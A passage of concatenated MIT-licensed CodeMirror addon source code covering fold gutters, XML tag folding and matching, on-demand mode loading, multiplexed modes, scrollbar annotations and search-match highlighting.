      cm.off("changes", onChange);
      cm.off("viewportChange", onViewportChange);
      cm.off("fold", onFold);
      cm.off("unfold", onFold);
      cm.off("swapDoc", onChange);
    }
    if (val) {
      cm.state.foldGutter = new State(parseOptions(val));
      updateInViewport(cm);
      cm.on("gutterClick", onGutterClick);
      cm.on("changes", onChange);
      cm.on("viewportChange", onViewportChange);
      cm.on("fold", onFold);
      cm.on("unfold", onFold);
      cm.on("swapDoc", onChange);
    }
  });

  var Pos = CodeMirror.Pos;

  function State(options) {
    this.options = options;
    this.from = this.to = 0;
  }

  function parseOptions(opts) {
    if (opts === true) opts = {};
    if (opts.gutter == null) opts.gutter =
"CodeMirror-foldgutter";
    if (opts.indicatorOpen == null) opts.indicatorOpen =
"CodeMirror-foldgutter-open";
    if (opts.indicatorFolded == null) opts.indicatorFolded =
"CodeMirror-foldgutter-folded";
    return opts;
  }

  function isFolded(cm, line) {
    var marks = cm.findMarks(Pos(line, 0), Pos(line + 1, 0));
    for (var i = 0; i < marks.length; ++i) {
      if (marks[i].__isFold) {
        var fromPos = marks[i].find(-1);
        if (fromPos && fromPos.line === line)
          return marks[i];
      }
    }
  }

  function marker(spec) {
    if (typeof spec == "string") {
      var elt = document.createElement("div");
      elt.className = spec + " CodeMirror-guttermarker-subtle";
      return elt;
    } else {
      return spec.cloneNode(true);
    }
  }

  function updateFoldInfo(cm, from, to) {
    var opts = cm.state.foldGutter.options, cur = from - 1;
    var minSize = cm.foldOption(opts, "minFoldSize");
    var func = cm.foldOption(opts, "rangeFinder");
    // we can reuse the built-in indicator element if its className matches
the new state
    var clsFolded = typeof opts.indicatorFolded == "string"
&& classTest(opts.indicatorFolded);
    var clsOpen = typeof opts.indicatorOpen == "string"
&& classTest(opts.indicatorOpen);
    cm.eachLine(from, to, function(line) {
      ++cur;
      var mark = null;
      var old = line.gutterMarkers;
      if (old) old = old[opts.gutter];
      if (isFolded(cm, cur)) {
        if (clsFolded && old &&
clsFolded.test(old.className)) return;
        mark = marker(opts.indicatorFolded);
      } else {
        var pos = Pos(cur, 0);
        var range = func && func(cm, pos);
        if (range && range.to.line - range.from.line >= minSize)
{
          if (clsOpen && old &&
clsOpen.test(old.className)) return;
          mark = marker(opts.indicatorOpen);
        }
      }
      if (!mark && !old) return;
      cm.setGutterMarker(line, opts.gutter, mark);
    });
  }

  // copied from CodeMirror/src/util/dom.js
  function classTest(cls) { return new RegExp("(^|\\s)" + cls +
"(?:$|\\s)\\s*") }

  function updateInViewport(cm) {
    var vp = cm.getViewport(), state = cm.state.foldGutter;
    if (!state) return;
    cm.operation(function() {
      updateFoldInfo(cm, vp.from, vp.to);
    });
    state.from = vp.from; state.to = vp.to;
  }

  function onGutterClick(cm, line, gutter) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    if (gutter != opts.gutter) return;
    var folded = isFolded(cm, line);
    if (folded) folded.clear();
    else cm.foldCode(Pos(line, 0), opts);
  }

  function onChange(cm) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    state.from = state.to = 0;
    clearTimeout(state.changeUpdate);
    state.changeUpdate = setTimeout(function() { updateInViewport(cm); },
opts.foldOnChangeTimeSpan || 600);
  }

  function onViewportChange(cm) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var opts = state.options;
    clearTimeout(state.changeUpdate);
    state.changeUpdate = setTimeout(function() {
      var vp = cm.getViewport();
      if (state.from == state.to || vp.from - state.to > 20 ||
state.from - vp.to > 20) {
        updateInViewport(cm);
      } else {
        cm.operation(function() {
          if (vp.from < state.from) {
            updateFoldInfo(cm, vp.from, state.from);
            state.from = vp.from;
          }
          if (vp.to > state.to) {
            updateFoldInfo(cm, state.to, vp.to);
            state.to = vp.to;
          }
        });
      }
    }, opts.updateViewportTimeSpan || 400);
  }

  function onFold(cm, from) {
    var state = cm.state.foldGutter;
    if (!state) return;
    var line = from.line;
    if (line >= state.from && line < state.to)
      updateFoldInfo(cm, line, line + 1);
  }
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var Pos = CodeMirror.Pos;
  function cmp(a, b) { return a.line - b.line || a.ch - b.ch; }

  var nameStartChar =
"A-Z_a-z\\u00C0-\\u00D6\\u00D8-\\u00F6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD";
  var nameChar = nameStartChar +
"\-\:\.0-9\\u00B7\\u0300-\\u036F\\u203F-\\u2040";
  var xmlTagStart = new RegExp("<(/?)([" + nameStartChar +
"][" + nameChar + "]*)", "g");

  function Iter(cm, line, ch, range) {
    this.line = line; this.ch = ch;
    this.cm = cm; this.text = cm.getLine(line);
    this.min = range ? Math.max(range.from, cm.firstLine()) :
cm.firstLine();
    this.max = range ? Math.min(range.to - 1, cm.lastLine()) :
cm.lastLine();
  }

  function tagAt(iter, ch) {
    var type = iter.cm.getTokenTypeAt(Pos(iter.line, ch));
    return type && /\btag\b/.test(type);
  }

  function nextLine(iter) {
    if (iter.line >= iter.max) return;
    iter.ch = 0;
    iter.text = iter.cm.getLine(++iter.line);
    return true;
  }
  function prevLine(iter) {
    if (iter.line <= iter.min) return;
    iter.text = iter.cm.getLine(--iter.line);
    iter.ch = iter.text.length;
    return true;
  }

  function toTagEnd(iter) {
    for (;;) {
      var gt = iter.text.indexOf(">", iter.ch);
      if (gt == -1) { if (nextLine(iter)) continue; else return; }
      if (!tagAt(iter, gt + 1)) { iter.ch = gt + 1; continue; }
      var lastSlash = iter.text.lastIndexOf("/", gt);
      var selfClose = lastSlash > -1 &&
!/\S/.test(iter.text.slice(lastSlash + 1, gt));
      iter.ch = gt + 1;
      return selfClose ? "selfClose" : "regular";
    }
  }
  function toTagStart(iter) {
    for (;;) {
      var lt = iter.ch ? iter.text.lastIndexOf("<", iter.ch -
1) : -1;
      if (lt == -1) { if (prevLine(iter)) continue; else return; }
      if (!tagAt(iter, lt + 1)) { iter.ch = lt; continue; }
      xmlTagStart.lastIndex = lt;
      iter.ch = lt;
      var match = xmlTagStart.exec(iter.text);
      if (match && match.index == lt) return match;
    }
  }

  function toNextTag(iter) {
    for (;;) {
      xmlTagStart.lastIndex = iter.ch;
      var found = xmlTagStart.exec(iter.text);
      if (!found) { if (nextLine(iter)) continue; else return; }
      if (!tagAt(iter, found.index + 1)) { iter.ch = found.index + 1;
continue; }
      iter.ch = found.index + found[0].length;
      return found;
    }
  }
  function toPrevTag(iter) {
    for (;;) {
      var gt = iter.ch ? iter.text.lastIndexOf(">", iter.ch -
1) : -1;
      if (gt == -1) { if (prevLine(iter)) continue; else return; }
      if (!tagAt(iter, gt + 1)) { iter.ch = gt; continue; }
      var lastSlash = iter.text.lastIndexOf("/", gt);
      var selfClose = lastSlash > -1 &&
!/\S/.test(iter.text.slice(lastSlash + 1, gt));
      iter.ch = gt + 1;
      return selfClose ? "selfClose" : "regular";
    }
  }

  function findMatchingClose(iter, tag) {
    var stack = [];
    for (;;) {
      var next = toNextTag(iter), end, startLine = iter.line, startCh =
iter.ch - (next ? next[0].length : 0);
      if (!next || !(end = toTagEnd(iter))) return;
      if (end == "selfClose") continue;
      if (next[1]) { // closing tag
        for (var i = stack.length - 1; i >= 0; --i) if (stack[i] ==
next[2]) {
          stack.length = i;
          break;
        }
        if (i < 0 && (!tag || tag == next[2])) return {
          tag: next[2],
          from: Pos(startLine, startCh),
          to: Pos(iter.line, iter.ch)
        };
      } else { // opening tag
        stack.push(next[2]);
      }
    }
  }
  function findMatchingOpen(iter, tag) {
    var stack = [];
    for (;;) {
      var prev = toPrevTag(iter);
      if (!prev) return;
      if (prev == "selfClose") { toTagStart(iter); continue; }
      var endLine = iter.line, endCh = iter.ch;
      var start = toTagStart(iter);
      if (!start) return;
      if (start[1]) { // closing tag
        stack.push(start[2]);
      } else { // opening tag
        for (var i = stack.length - 1; i >= 0; --i) if (stack[i] ==
start[2]) {
          stack.length = i;
          break;
        }
        if (i < 0 && (!tag || tag == start[2])) return {
          tag: start[2],
          from: Pos(iter.line, iter.ch),
          to: Pos(endLine, endCh)
        };
      }
    }
  }

  CodeMirror.registerHelper("fold", "xml", function(cm,
start) {
    var iter = new Iter(cm, start.line, 0);
    for (;;) {
      var openTag = toNextTag(iter)
      if (!openTag || iter.line != start.line) return
      var end = toTagEnd(iter)
      if (!end) return
      if (!openTag[1] && end != "selfClose") {
        var startPos = Pos(iter.line, iter.ch);
        var endPos = findMatchingClose(iter, openTag[2]);
        return endPos && cmp(endPos.from, startPos) > 0 ? {from:
startPos, to: endPos.from} : null
      }
    }
  });
  CodeMirror.findMatchingTag = function(cm, pos, range) {
    var iter = new Iter(cm, pos.line, pos.ch, range);
    if (iter.text.indexOf(">") == -1 &&
iter.text.indexOf("<") == -1) return;
    var end = toTagEnd(iter), to = end && Pos(iter.line, iter.ch);
    var start = end && toTagStart(iter);
    if (!end || !start || cmp(iter, pos) > 0) return;
    var here = {from: Pos(iter.line, iter.ch), to: to, tag: start[2]};
    if (end == "selfClose") return {open: here, close: null, at:
"open"};

    if (start[1]) { // closing tag
      return {open: findMatchingOpen(iter, start[2]), close: here, at:
"close"};
    } else { // opening tag
      iter = new Iter(cm, to.line, to.ch, range);
      return {open: here, close: findMatchingClose(iter, start[2]), at:
"open"};
    }
  };

  CodeMirror.findEnclosingTag = function(cm, pos, range, tag) {
    var iter = new Iter(cm, pos.line, pos.ch, range);
    for (;;) {
      var open = findMatchingOpen(iter, tag);
      if (!open) break;
      var forward = new Iter(cm, pos.line, pos.ch, range);
      var close = findMatchingClose(forward, open.tag);
      if (close) return {open: open, close: close};
    }
  };

  // Used by addon/edit/closetag.js
  CodeMirror.scanForClosingTag = function(cm, pos, name, end) {
    var iter = new Iter(cm, pos.line, pos.ch, end ? {from: 0, to: end} :
null);
    return findMatchingClose(iter, name);
  };
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"), "cjs");
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], function(CM) { mod(CM,
"amd"); });
  else // Plain browser env
    mod(CodeMirror, "plain");
})(function(CodeMirror, env) {
  if (!CodeMirror.modeURL) CodeMirror.modeURL =
"../mode/%N/%N.js";

  var loading = {};
  function splitCallback(cont, n) {
    var countDown = n;
    return function() { if (--countDown == 0) cont(); };
  }
  function ensureDeps(mode, cont, options) {
    var modeObj = CodeMirror.modes[mode], deps = modeObj &&
modeObj.dependencies;
    if (!deps) return cont();
    var missing = [];
    for (var i = 0; i < deps.length; ++i) {
      if (!CodeMirror.modes.hasOwnProperty(deps[i]))
        missing.push(deps[i]);
    }
    if (!missing.length) return cont();
    var split = splitCallback(cont, missing.length);
    for (var i = 0; i < missing.length; ++i)
      CodeMirror.requireMode(missing[i], split, options);
  }

  CodeMirror.requireMode = function(mode, cont, options) {
    if (typeof mode != "string") mode = mode.name;
    if (CodeMirror.modes.hasOwnProperty(mode)) return ensureDeps(mode,
cont, options);
    if (loading.hasOwnProperty(mode)) return loading[mode].push(cont);

    var file = options && options.path ? options.path(mode) :
CodeMirror.modeURL.replace(/%N/g, mode);
    if (options && options.loadMode) {
      options.loadMode(file, function() { ensureDeps(mode, cont, options)
})
    } else if (env == "plain") {
      var script = document.createElement("script");
      script.src = file;
      var others = document.getElementsByTagName("script")[0];
      var list = loading[mode] = [cont];
      CodeMirror.on(script, "load", function() {
        ensureDeps(mode, function() {
          for (var i = 0; i < list.length; ++i) list[i]();
        }, options);
      });
      others.parentNode.insertBefore(script, others);
    } else if (env == "cjs") {
      require(file);
      cont();
    } else if (env == "amd") {
      requirejs([file], cont);
    }
  };

  CodeMirror.autoLoadMode = function(instance, mode, options) {
    if (!CodeMirror.modes.hasOwnProperty(mode))
      CodeMirror.requireMode(mode, function() {
        instance.setOption("mode",
instance.getOption("mode"));
      }, options);
  };
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.multiplexingMode = function(outer /*, others */) {
  // Others should be {open, close, mode [, delimStyle] [, innerStyle]}
objects
  var others = Array.prototype.slice.call(arguments, 1);

  function indexOf(string, pattern, from, returnEnd) {
    if (typeof pattern == "string") {
      var found = string.indexOf(pattern, from);
      return returnEnd && found > -1 ? found + pattern.length :
found;
    }
    var m = pattern.exec(from ? string.slice(from) : string);
    return m ? m.index + from + (returnEnd ? m[0].length : 0) : -1;
  }

  return {
    startState: function() {
      return {
        outer: CodeMirror.startState(outer),
        innerActive: null,
        inner: null
      };
    },

    copyState: function(state) {
      return {
        outer: CodeMirror.copyState(outer, state.outer),
        innerActive: state.innerActive,
        inner: state.innerActive &&
CodeMirror.copyState(state.innerActive.mode, state.inner)
      };
    },

    token: function(stream, state) {
      if (!state.innerActive) {
        var cutOff = Infinity, oldContent = stream.string;
        for (var i = 0; i < others.length; ++i) {
          var other = others[i];
          var found = indexOf(oldContent, other.open, stream.pos);
          if (found == stream.pos) {
            if (!other.parseDelimiters) stream.match(other.open);
            state.innerActive = other;

            // Get the outer indent, making sure to handle CodeMirror.Pass
            var outerIndent = 0;
            if (outer.indent) {
              var possibleOuterIndent = outer.indent(state.outer,
"", "");
              if (possibleOuterIndent !== CodeMirror.Pass) outerIndent =
possibleOuterIndent;
            }

            state.inner = CodeMirror.startState(other.mode, outerIndent);
            return other.delimStyle && (other.delimStyle + "
" + other.delimStyle + "-open");
          } else if (found != -1 && found < cutOff) {
            cutOff = found;
          }
        }
        if (cutOff != Infinity) stream.string = oldContent.slice(0,
cutOff);
        var outerToken = outer.token(stream, state.outer);
        if (cutOff != Infinity) stream.string = oldContent;
        return outerToken;
      } else {
        var curInner = state.innerActive, oldContent = stream.string;
        if (!curInner.close && stream.sol()) {
          state.innerActive = state.inner = null;
          return this.token(stream, state);
        }
        var found = curInner.close ? indexOf(oldContent, curInner.close,
stream.pos, curInner.parseDelimiters) : -1;
        if (found == stream.pos && !curInner.parseDelimiters) {
          stream.match(curInner.close);
          state.innerActive = state.inner = null;
          return curInner.delimStyle && (curInner.delimStyle +
" " + curInner.delimStyle + "-close");
        }
        if (found > -1) stream.string = oldContent.slice(0, found);
        var innerToken = curInner.mode.token(stream, state.inner);
        if (found > -1) stream.string = oldContent;

        if (found == stream.pos && curInner.parseDelimiters)
          state.innerActive = state.inner = null;

        if (curInner.innerStyle) {
          if (innerToken) innerToken = innerToken + " " +
curInner.innerStyle;
          else innerToken = curInner.innerStyle;
        }

        return innerToken;
      }
    },

    indent: function(state, textAfter, line) {
      var mode = state.innerActive ? state.innerActive.mode : outer;
      if (!mode.indent) return CodeMirror.Pass;
      return mode.indent(state.innerActive ? state.inner : state.outer,
textAfter, line);
    },

    blankLine: function(state) {
      var mode = state.innerActive ? state.innerActive.mode : outer;
      if (mode.blankLine) {
        mode.blankLine(state.innerActive ? state.inner : state.outer);
      }
      if (!state.innerActive) {
        for (var i = 0; i < others.length; ++i) {
          var other = others[i];
          if (other.open === "\n") {
            state.innerActive = other;
            state.inner = CodeMirror.startState(other.mode, mode.indent ?
mode.indent(state.outer, "", "") : 0);
          }
        }
      } else if (state.innerActive.close === "\n") {
        state.innerActive = state.inner = null;
      }
    },

    electricChars: outer.electricChars,

    innerMode: function(state) {
      return state.inner ? {state: state.inner, mode:
state.innerActive.mode} : {state: state.outer, mode: outer};
    }
  };
};

});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineExtension("annotateScrollbar",
function(options) {
    if (typeof options == "string") options = {className:
options};
    return new Annotation(this, options);
  });

  CodeMirror.defineOption("scrollButtonHeight", 0);

  function Annotation(cm, options) {
    this.cm = cm;
    this.options = options;
    this.buttonHeight = options.scrollButtonHeight ||
cm.getOption("scrollButtonHeight");
    this.annotations = [];
    this.doRedraw = this.doUpdate = null;
    this.div =
cm.getWrapperElement().appendChild(document.createElement("div"));
    this.div.style.cssText = "position: absolute; right: 0; top: 0;
z-index: 7; pointer-events: none";
    this.computeScale();

    function scheduleRedraw(delay) {
      clearTimeout(self.doRedraw);
      self.doRedraw = setTimeout(function() { self.redraw(); }, delay);
    }

    var self = this;
    cm.on("refresh", this.resizeHandler = function() {
      clearTimeout(self.doUpdate);
      self.doUpdate = setTimeout(function() {
        if (self.computeScale()) scheduleRedraw(20);
      }, 100);
    });
    cm.on("markerAdded", this.resizeHandler);
    cm.on("markerCleared", this.resizeHandler);
    if (options.listenForChanges !== false)
      cm.on("changes", this.changeHandler = function() {
        scheduleRedraw(250);
      });
  }

  Annotation.prototype.computeScale = function() {
    var cm = this.cm;
    var hScale = (cm.getWrapperElement().clientHeight -
cm.display.barHeight - this.buttonHeight * 2) /
      cm.getScrollerElement().scrollHeight
    if (hScale != this.hScale) {
      this.hScale = hScale;
      return true;
    }
  };

  Annotation.prototype.update = function(annotations) {
    this.annotations = annotations;
    this.redraw();
  };

  Annotation.prototype.redraw = function(compute) {
    if (compute !== false) this.computeScale();
    var cm = this.cm, hScale = this.hScale;

    var frag = document.createDocumentFragment(), anns = this.annotations;

    var wrapping = cm.getOption("lineWrapping");
    var singleLineH = wrapping && cm.defaultTextHeight() * 1.5;
    var curLine = null, curLineObj = null;
    function getY(pos, top) {
      if (curLine != pos.line) {
        curLine = pos.line;
        curLineObj = cm.getLineHandle(curLine);
      }
      if ((curLineObj.widgets && curLineObj.widgets.length) ||
          (wrapping && curLineObj.height > singleLineH))
        return cm.charCoords(pos, "local")[top ? "top"
: "bottom"];
      var topY = cm.heightAtLine(curLineObj, "local");
      return topY + (top ? 0 : curLineObj.height);
    }

    var lastLine = cm.lastLine()
    if (cm.display.barWidth) for (var i = 0, nextTop; i < anns.length;
i++) {
      var ann = anns[i];
      if (ann.to.line > lastLine) continue;
      var top = nextTop || getY(ann.from, true) * hScale;
      var bottom = getY(ann.to, false) * hScale;
      while (i < anns.length - 1) {
        if (anns[i + 1].to.line > lastLine) break;
        nextTop = getY(anns[i + 1].from, true) * hScale;
        if (nextTop > bottom + .9) break;
        ann = anns[++i];
        bottom = getY(ann.to, false) * hScale;
      }
      if (bottom == top) continue;
      var height = Math.max(bottom - top, 3);

      var elt = frag.appendChild(document.createElement("div"));
      elt.style.cssText = "position: absolute; right: 0px; width:
" + Math.max(cm.display.barWidth - 1, 2) + "px; top: "
        + (top + this.buttonHeight) + "px; height: " + height +
"px";
      elt.className = this.options.className;
      if (ann.id) {
        elt.setAttribute("annotation-id", ann.id);
      }
    }
    this.div.textContent = "";
    this.div.appendChild(frag);
  };

  Annotation.prototype.clear = function() {
    this.cm.off("refresh", this.resizeHandler);
    this.cm.off("markerAdded", this.resizeHandler);
    this.cm.off("markerCleared", this.resizeHandler);
    if (this.changeHandler) this.cm.off("changes",
this.changeHandler);
    this.div.parentNode.removeChild(this.div);
  };
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  function Bar(cls, orientation, scroll) {
    this.orientation = orientation;
    this.scroll = scroll;
    this.screen = this.total = this.size = 1;
    this.pos = 0;

    this.node = document.createElement("div");
    this.node.className = cls + "-" + orientation;
    this.inner =
this.node.appendChild(document.createElement("div"));

    var self = this;
    CodeMirror.on(this.inner, "mousedown", function(e) {
      if (e.which != 1) return;
      CodeMirror.e_preventDefault(e);
      var axis = self.orientation == "horizontal" ?
"pageX" : "pageY";
      var start = e[axis], startpos = self.pos;
      function done() {
        CodeMirror.off(document, "mousemove", move);
        CodeMirror.off(document, "mouseup", done);
      }
      function move(e) {
        if (e.which != 1) return done();
        self.moveTo(startpos + (e[axis] - start) * (self.total /
self.size));
      }
      CodeMirror.on(document, "mousemove", move);
      CodeMirror.on(document, "mouseup", done);
    });

    CodeMirror.on(this.node, "click", function(e) {
      CodeMirror.e_preventDefault(e);
      var innerBox = self.inner.getBoundingClientRect(), where;
      if (self.orientation == "horizontal")
        where = e.clientX < innerBox.left ? -1 : e.clientX >
innerBox.right ? 1 : 0;
      else
        where = e.clientY < innerBox.top ? -1 : e.clientY >
innerBox.bottom ? 1 : 0;
      self.moveTo(self.pos + where * self.screen);
    });

    function onWheel(e) {
      var moved = CodeMirror.wheelEventPixels(e)[self.orientation ==
"horizontal" ? "x" : "y"];
      var oldPos = self.pos;
      self.moveTo(self.pos + moved);
      if (self.pos != oldPos) CodeMirror.e_preventDefault(e);
    }
    CodeMirror.on(this.node, "mousewheel", onWheel);
    CodeMirror.on(this.node, "DOMMouseScroll", onWheel);
  }

  Bar.prototype.setPos = function(pos, force) {
    if (pos < 0) pos = 0;
    if (pos > this.total - this.screen) pos = this.total - this.screen;
    if (!force && pos == this.pos) return false;
    this.pos = pos;
    this.inner.style[this.orientation == "horizontal" ?
"left" : "top"] =
      (pos * (this.size / this.total)) + "px";
    return true
  };

  Bar.prototype.moveTo = function(pos) {
    if (this.setPos(pos)) this.scroll(pos, this.orientation);
  }

  var minButtonSize = 10;

  Bar.prototype.update = function(scrollSize, clientSize, barSize) {
    var sizeChanged = this.screen != clientSize || this.total != scrollSize
|| this.size != barSize
    if (sizeChanged) {
      this.screen = clientSize;
      this.total = scrollSize;
      this.size = barSize;
    }

    var buttonSize = this.screen * (this.size / this.total);
    if (buttonSize < minButtonSize) {
      this.size -= minButtonSize - buttonSize;
      buttonSize = minButtonSize;
    }
    this.inner.style[this.orientation == "horizontal" ?
"width" : "height"] =
      buttonSize + "px";
    this.setPos(this.pos, sizeChanged);
  };

  function SimpleScrollbars(cls, place, scroll) {
    this.addClass = cls;
    this.horiz = new Bar(cls, "horizontal", scroll);
    place(this.horiz.node);
    this.vert = new Bar(cls, "vertical", scroll);
    place(this.vert.node);
    this.width = null;
  }

  SimpleScrollbars.prototype.update = function(measure) {
    if (this.width == null) {
      var style = window.getComputedStyle ?
window.getComputedStyle(this.horiz.node) : this.horiz.node.currentStyle;
      if (style) this.width = parseInt(style.height);
    }
    var width = this.width || 0;

    var needsH = measure.scrollWidth > measure.clientWidth + 1;
    var needsV = measure.scrollHeight > measure.clientHeight + 1;
    this.vert.node.style.display = needsV ? "block" :
"none";
    this.horiz.node.style.display = needsH ? "block" :
"none";

    if (needsV) {
      this.vert.update(measure.scrollHeight, measure.clientHeight,
                       measure.viewHeight - (needsH ? width : 0));
      this.vert.node.style.bottom = needsH ? width + "px" :
"0";
    }
    if (needsH) {
      this.horiz.update(measure.scrollWidth, measure.clientWidth,
                        measure.viewWidth - (needsV ? width : 0) -
measure.barLeft);
      this.horiz.node.style.right = needsV ? width + "px" :
"0";
      this.horiz.node.style.left = measure.barLeft + "px";
    }

    return {right: needsV ? width : 0, bottom: needsH ? width : 0};
  };

  SimpleScrollbars.prototype.setScrollTop = function(pos) {
    this.vert.setPos(pos);
  };

  SimpleScrollbars.prototype.setScrollLeft = function(pos) {
    this.horiz.setPos(pos);
  };

  SimpleScrollbars.prototype.clear = function() {
    var parent = this.horiz.node.parentNode;
    parent.removeChild(this.horiz.node);
    parent.removeChild(this.vert.node);
  };

  CodeMirror.scrollbarModel.simple = function(place, scroll) {
    return new SimpleScrollbars("CodeMirror-simplescroll", place,
scroll);
  };
  CodeMirror.scrollbarModel.overlay = function(place, scroll) {
    return new SimpleScrollbars("CodeMirror-overlayscroll",
place, scroll);
  };
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("./searchcursor"),
require("../scroll/annotatescrollbar"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror", "./searchcursor",
"../scroll/annotatescrollbar"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineExtension("showMatchesOnScrollbar",
function(query, caseFold, options) {
    if (typeof options == "string") options = {className:
options};
    if (!options) options = {};
    return new SearchAnnotation(this, query, caseFold, options);
  });

  function SearchAnnotation(cm, query, caseFold, options) {
    this.cm = cm;
    this.options = options;
    var annotateOptions = {listenForChanges: false};
    for (var prop in options) annotateOptions[prop] = options[prop];
    if (!annotateOptions.className) annotateOptions.className =
"CodeMirror-search-match";
    this.annotation = cm.annotateScrollbar(annotateOptions);
    this.query = query;
    this.caseFold = caseFold;
    this.gap = {from: cm.firstLine(), to: cm.lastLine() + 1};
    this.matches = [];
    this.update = null;

    this.findMatches();
    this.annotation.update(this.matches);

    var self = this;
    cm.on("change", this.changeHandler = function(_cm, change) {
self.onChange(change); });
  }

  var MAX_MATCHES = 1000;

  SearchAnnotation.prototype.findMatches = function() {
    if (!this.gap) return;
    for (var i = 0; i < this.matches.length; i++) {
      var match = this.matches[i];
      if (match.from.line >= this.gap.to) break;
      if (match.to.line >= this.gap.from) this.matches.splice(i--, 1);
    }
    var cursor = this.cm.getSearchCursor(this.query,
CodeMirror.Pos(this.gap.from, 0), {caseFold: this.caseFold, multiline:
this.options.multiline});
    var maxMatches = this.options && this.options.maxMatches ||
MAX_MATCHES;
    while (cursor.findNext()) {
      var match = {from: cursor.from(), to: cursor.to()};
      if (match.from.line >= this.gap.to) break;
      this.matches.splice(i++, 0, match);
      if (this.matches.length > maxMatches) break;
    }
    this.gap = null;
  };

  function offsetLine(line, changeStart, sizeChange) {
    if (line <= changeStart) return line;
    return Math.max(changeStart, line + sizeChange);
  }

  SearchAnnotation.prototype.onChange = function(change) {
    var startLine = change.from.line;
    var endLine = CodeMirror.changeEnd(change).line;
    var sizeChange = endLine - change.to.line;
    if (this.gap) {
      this.gap.from = Math.min(offsetLine(this.gap.from, startLine,
sizeChange), change.from.line);
      this.gap.to = Math.max(offsetLine(this.gap.to, startLine,
sizeChange), change.from.line);
    } else {
      this.gap = {from: change.from.line, to: endLine + 1};
    }

    if (sizeChange) for (var i = 0; i < this.matches.length; i++) {
      var match = this.matches[i];
      var newFrom = offsetLine(match.from.line, startLine, sizeChange);
      if (newFrom != match.from.line) match.from = CodeMirror.Pos(newFrom,
match.from.ch);
      var newTo = offsetLine(match.to.line, startLine, sizeChange);
      if (newTo != match.to.line) match.to = CodeMirror.Pos(newTo,
match.to.ch);
    }
    clearTimeout(this.update);
    var self = this;
    this.update = setTimeout(function() { self.updateAfterChange(); },
250);
  };

  SearchAnnotation.prototype.updateAfterChange = function() {
    this.findMatches();
    this.annotation.update(this.matches);
  };

  SearchAnnotation.prototype.clear = function() {
    this.cm.off("change", this.changeHandler);
    this.annotation.clear();
  };
});

// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// Highlighting text that matches the selection
//
// Defines an option highlightSelectionMatches, which, when enabled,
// will style strings that match the selection throughout the
// document.
//
// The option can be set to true to simply enable it, or to a
// {minChars, style, wordsOnly, showToken, delay} object to explicitly
// configure it. minChars is the minimum amount of characters that should
be
// selected for the behavior to occur, and style is the token style to
// apply to the matches. This will be prefixed by "cm-" to create
an
// actual CSS class name. If wordsOnly is enabled, the matches will be
// highlighted only if the selected text is a word. showToken, when
enabled,
// will cause the current token to be highlighted when nothing is selected.
// delay is used to specify how much time to wait, in milliseconds, before
// highlighting the matches. If annotateScrollbar is enabled, the
occurences
// will be highlighted on the scrollbar via the matchesonscrollbar addon.

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"),
require("./matchesonscrollbar"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"./matchesonscrollbar"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var defaults = {
    style: "matchhighlight",
    minChars: 2,
    delay: 100,
    wordsOnly: false,
    annotateScrollbar: false,
    showToken: false,
    trim: true
  }

  function State(options) {
    this.options = {}
    for (var name in defaults)
      this.options[name] = (options && options.hasOwnProperty(name)
? options : defaults)[name]
    this.overlay = this.timeout = null;
    this.matchesonscroll = null;
    this.active = false;
  }

  CodeMirror.defineOption("highlightSelectionMatches", false,
function(cm, val, old) {
    if (old && old != CodeMirror.Init) {
      removeOverlay(cm);
      clearTimeout(cm.state.matchHighlighter.timeout);
      cm.state.matchHighlighter = null;
      cm.off("cursorActivity", cursorActivity);
      cm.off("focus", onFocus)
    }
    if (val) {
      var state = cm.state.matchHighlighter = new State(val);
      if (cm.hasFocus()) {
        state.active = true
